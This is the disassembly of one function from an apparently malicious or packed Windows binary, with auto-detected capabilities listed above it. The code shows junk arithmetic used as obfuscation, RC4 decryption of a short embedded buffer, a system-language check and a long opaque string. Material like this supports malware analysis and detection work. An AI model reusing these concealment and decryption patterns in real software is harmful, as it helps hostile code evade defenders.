Function at 0x407c04
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Identify system language via api

Disassembly:
push ebp
mov ecx, 0x15
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x16a]
mov esi, 0x42dfb8
push ebx
sub esp, 0x18c
mov eax, dword [0x42943c]
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 4], str.TrustedInstaller
mov dword [esp], eax
call fcn.0041036c
imul eax, dword [0x42943c], 0x4598bd56
add eax, 0x633176dc
mov dword [0x42943c], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov eax, dword [0x42943c]
mov dword [esp], str.TrustedInstaller
or eax, 0x5c1ed6eb
mov dword [esp + 4], eax
mov dword [0x42943c], eax
call fcn.00411280
xor eax, eax
cmp byte [eax + str.DllGetClassObject], 0
je 0x407c92
inc eax
cmp eax, 0xf45
jne 0x407c72
call fcn.004108ac
sub dword [0x42943c], 0x2f5d3be5
mov eax, dword [0x42943c]
lea edi, [ebp - 0x140]
mov esi, 0x42dfcd
or eax, 0x30a7841a
sub eax, 0x18cd3caf
mov dword [0x42943c], eax
call fcn.004150c4
mov eax, dword [0x42943c]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 4], str.TrustedInstaller
xor eax, 0x879bd63d
add eax, 0x31bdbab0
and eax, 0x2d090044
sub eax, 0x189645cb
mov dword [esp], eax
mov dword [0x42943c], eax
call fcn.0041036c
mov eax, dword [0x42943c]
xor edx, edx
mov byte [ebp + edx - 0x118], dl
inc edx
cmp edx, 0x100
jne 0x407cf2
imul eax, eax, 0x9e748f87
xor esi, esi
sub eax, 0x29ae9c3e
or eax, 0x2dd23493
mov dword [0x42943c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [0x42943c]
mov dword [esp], str.The_command_within_the_transport_is_not_supported.
mov dword [esp + 4], eax
call fcn.00411280
mov eax, dword [0x42943c]
xor ecx, ecx
mov dword [ebp - 0x17c], eax
mov eax, ecx
mov edi, 0x27
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x140]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + esi - 0x118], bl
cmp ecx, 0x100
jne 0x407d41
mov edi, dword [ebp - 0x17c]
xor esi, esi
xor ebx, ebx
xor ecx, ecx
sub edi, 0x70178b00
inc ecx
movzx ecx, cl
mov dl, byte [ebp + ecx - 0x118]
add ebx, edx
movzx ebx, bl
mov al, byte [ebp + ebx - 0x118]
mov byte [ebp + ecx - 0x118], al
mov eax, edi
mov byte [ebp + ebx - 0x118], dl
add dl, byte [ebp + ecx - 0x118]
or eax, 0x316cbff3
movzx edx, dl
lea edi, [eax - 0x1b98086a]
mov dl, byte [ebp + edx - 0x118]
xor dl, byte [esi + ebp - 0x16a]
mov byte [ebp + esi - 0x155], dl
inc esi
cmp esi, 0x15
jne 0x407d95
sub eax, 0x12ea4cf9
mov byte [ebp - 0x140], 0
and eax, 0xe2f0a22d
or eax, 0x62300004
mov dword [0x42943c], eax
call fcn.0040fd30
mov dword [esp], str.The_command_within_the_transport_is_not_supported.
and dword [0x42943c], 0x30001408
call fcn.004148d8
lea eax, [ebp - 0x155]
mov dword [esp + 0xc], 0x15
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1b40
mov dword [esp], str.KElru7StYlSWxFfWMf87dQLqD5FkC7qZeE62MvTvxTASvGkQvvw4fucYfis0CmrjaIY6snGOnCnDMScKwXSZw5nuIalF3j4u45XNDxtCFM_alec4Awxc7nbZaWm3ZXDjZJ9Xxw0dKR_WDKW_5CvXIXGt8miOj1cIj0AhTGILyo6F2qQyI_LHcfZoIwKvdsbuhsuYjsidcCKw80X_yBCOi8xZ4Qd7wgSZnUE8B3YmnA4S4aKVcy_zVDvOhKjVMHaQwC8JUEhQ2a1NA9qEQCN514js0dojj7_86kFxrsjTTsvFpm9p74hZFYAVP_vuamBq1cfUibi5gtXlRhCX2OFW3t5LPI2TMpioPbX63JukrZk5048xw0Q9xShWeu2H0VZXCrF0KnovW00Ho__P8tAE14F49T1XO18Cz67car3HEOnocl7TUr2UCNPsdjfbmkluxbfHXxqPglCQRsVuQIsEC8UtufrIhUz1w_uxnc6vJ2cvgqefrIqrW_RhtAvwcZ3tK0O0ezml2ozlel4hHL22IEvR_PVu8quIptmpOr7_PBB9K5hTBc1uOyHygyKsH7f13WHJPtgPZ7uK3mxDzUltQf03mlj2vFqbjf1LVLGUmed4iviBI57o0dLCSFfblWaTR4o83qrdUSPkfgvJpgltfMKoU28J_NV_nUM87e0wJJKGtHo92fkOU2GOnPpQ3j34t6IyhbtQXnLwoYDouszXPiHwXRRzwwbL657ZXN9gfbiUsvA_jOfvbYJhzc6rYMxBo8NofKfDlEispLeUJXXyZbTOyn1zuvHHyQaFW9CHh4ikxsNWS8gI5ahAkbWobDWBzPZn1rfu_Ofou4pJfkfaQQIONGa579gsDY7_OJDOeHmGLSf3FeDbB31pj1wxxTY6bal_l9FRUjL1Q1wMqHf0qvzcIH7VmGHJU_ByxZgG6aQcRZp_m_KKepHoQBI2wFEWTUpJjAPxSbOowQVZ0W5zFPLRpjXbOrqPz7KLqxlKs7fodrahlzKKUHESto9QYYs3oD2fTysyOupMffKmooGpe5JtUj8X00PFlgpywGNpDwW06SGqT7EPQsPjA9PPBa7dM72BTG9Cq31SZA1YP5OVPMesQ6TFUlvzpw15P94QFgCIhQ6HvDXfipr4EcIKV7VPxRl6eFlcA9owawlSLoJ5GHGDge4oxkyhVbO5k0ASE8l7iE_NwgpXtjf7O4YCD88qiTcA7DmL2qoSI_23HOC1xa5he_3pg_EMyMNZG016J6d2GaEAeCYqmAneZSS5LhRR7PQB0o53uC4xBqG774zgVt1SuwhclPXGM2TUwvjDetWr4lfq8GvC8aIDxTjp6WdSUw1Q5ok17wP37jSic6KZzukOYgrxyi50S_wH4NztJ_Gsnb5HcmHVjRYWnpbUCm4Xq95NJ10ZTLpiF6NsPUhpwu2zgYBPQi2r8TiaJHYzx1k_Owz7FwcRzZTsUvHWIo0l_NfSicHqSUxNJX8uGu30r9K1phUJJIjUE6MywSyc53kyoLdVgIuvBPsbhcLrBxew4pdoLQ91J6XHRcLlWc4b4q2nDcfnjMRUE1ZlZzVh2F6x2JNdA8Xm3YmHzw9iozfUZRrna6YCkH4ZMflNtr5eldARtUFkogYToa9byoVKRWX_IRI69087wTSzEpvjvvT35GjKoBMjNPF2EEYZiGIJQinKzDQoGDp1nfxLnvd0H2UeDzkqmRmuvOphrPDPnMFgANxZtOBqdlhS2HUhPy2Kv4Nspen4wzfNkICjQZear4mhlFxc5SZ_ZdVYHbUK9vNx_pQsz_4fVGRdWO_iIkhZ6TgZ5ZyIa9dlegppNQOkFmnymWZgfJvhIwcrLQSvoRC8V9PjcPhK20sVTpIet23K4aLroc84JxB8qa4HdjJtZnqJub3t8NUyk_ZAuuJX8VM3J7Uek13PLcGzivZK4oKb8qNfIGKDHaZzGZdMWeciwgB8ZZc7HoWQO2k47Zy3E_SuLaz3WGlFJE91p24HhumhzzL00GJfcCQk1ZqT4688RJzpDB3go6FEWwtzkiQC7P6NK7BDIHnTIlQIzVO40prmq6cK3GAICwiowtJ7AlkbroWhzYdpRq8Z5I6s_dWOiflRhaXgQb65vO0U49cycyydM_lHt0DtUx21LycBXqX48727IkxlZzpRmYbN3JtC859pEAGGMP46C8fumJidWAuVdF8p_t2m6g4Lpd1ijp2_KOHbuD2dH7s8f510SxV9T7Qr8rzi_HQ4txvST9PQh4LJHI2jecIte8LlaQSsC81UF_nlOQmns2JRE97hYjp9zD765N_y8_JqoX7Zd1Jtbo2T6YjMKNOuPct9FWOWfsrfjFPpg2Oigxu3AQNMAFOOwepFQYT9WjSVetuxcpABIxSFEtUALoQSiNdLj_tXEVYDveZDkfY0paOboZSxlGhQH4K0HLVP6YQGqr1FL7vFETlPbhPzx_57ffA57E3Uu0gW7woUJANSrjFFGi1DjAxSz9pVmpqKWiiOgnoxmWJym9kjRBD1RZ3uecPerL46sBj1h8YLEWxo_RDbRMoqZAH2IiiD_ZXMA8JRiJCSE1ztcCts_psJ5DYeFpwlA1v_1uPpN5MGLsuN8Xz5IUQUhMFiw08Tf4SvMEwhrXcvXGSt8MWDDgBaJDR7fdCzknW4h5NB2ovUBgw5A1Fmlv3OMPp1ca90T4SdGig5X7WW1gTm7Kw8nfykvI_jjZNz3xH0PuiffIFiauGFsfwecDSzzm6VSV9koq5McWirO9sjf73NKIEr64U1LVbvbhoI70l1aMPnME9yPdkbYtfTzmDoHQALqBHWoml8a_kjwElphuYaveHtGG5ofihnSSuin_JyJjM_9NN9HP3_Auof65zxbrbsYtguCDuCJ5HQ1gqlyidtWm2APm_tTytl222DgPR3NJ4zgcSBDdP1PpdmyVUevP014oQJ_0mkIl9pmhrbmGTD1Vjk3sYsnRam7qW6BzHUyJ58AtHAoztR6rrLygFhssLE3xchUBoLHZ2jsB4IUgJ_bQBhDD8RzB_veaAzTa7eov5lNGx_Y1N_81YCeLlICUUwB9Tux67o2RU7c9CK_vktT3SFY4fOXJCaxTo6uBhegp_xd1NvykqA4QmWcYPuPTrKUqfm_Njqbi43iCY3WNaaB7rKgNRHhb5MzgyQddqcLfgnmf48n3INpsbu473xvMlLznjyvaUzVl10yWpc5Iy_AFzVrRIF34RG3C0zKIVKz4i28ECrnGkYzqroLVUtwyHIGiZw_OU8rfO66WX94j9i0rD3LQPhMmq7sFaaOI5NQxivoyiUQmUO4_pohJ51PkWG6sRdSCMYkkOJDDgGJIgyxVpdfB1fnC_VNq8fQta37CzgnQOHatMmvWW6_RPu1X5FOOLI3sGfb3LayfRMrSd6RNcP6ARxv96aMAX4F9S_OyA9V9k10TYenQUjtiMf3bShEun5eNddUi7XUVSClYZRN2Y1itQRddDIu6drw2wY6WHkugdCwI3iVC8PjCkWc95CCt9KGh1gAAfUHdNFKBOpQQRuuckD5x16qmQugGwwPh91SjPVedgdt62Q74cn8_OnMih2jsc2ojFEBxq5yGHB0jOGD1sZf28IuAik_Mc2kE7W2l2gh7QZ8vRzPUOP_gSR1vB0HTm0D8x1OyjMyooKReNC4Hk0B2a9MZQP17w95oklAHafsRKc5mE5JBWMnYxPAhtoov9blOTxYZXV6YWXWxCBevqX2DE3RSgiT0zLTyhkLEdOFBxtYxnVo6At2WiNLCqzF_9mfCVOEcLlmxzUJWTT282JhaawEwJnKIOFf0u4DPcBROQL2XWy_RKv2W9hNqZKHmYjTZKyGQeDBDXIEtCMc01jyIRrdI2fcnEYuUd8YRihpzbhOodX4BZxUl77yjDWQ7X9Fr78IH_tJftnadfjw_5Sx08NJ1avcYSGi82CyiEC7u1O8bs5rA_wuUxICfOC6HhOxuO6oLWFOoGi2AKw6Ui9taU1kpe2YPNm5CQLd7eRLcAoxNG0jcxumf6wyZ90GThJiIeWph
or dword [0x42943c], 0xfbcadeb6
call fcn.0040be04
add esp, 0x18c
pop ebx
pop esi
pop edi
pop ebp
ret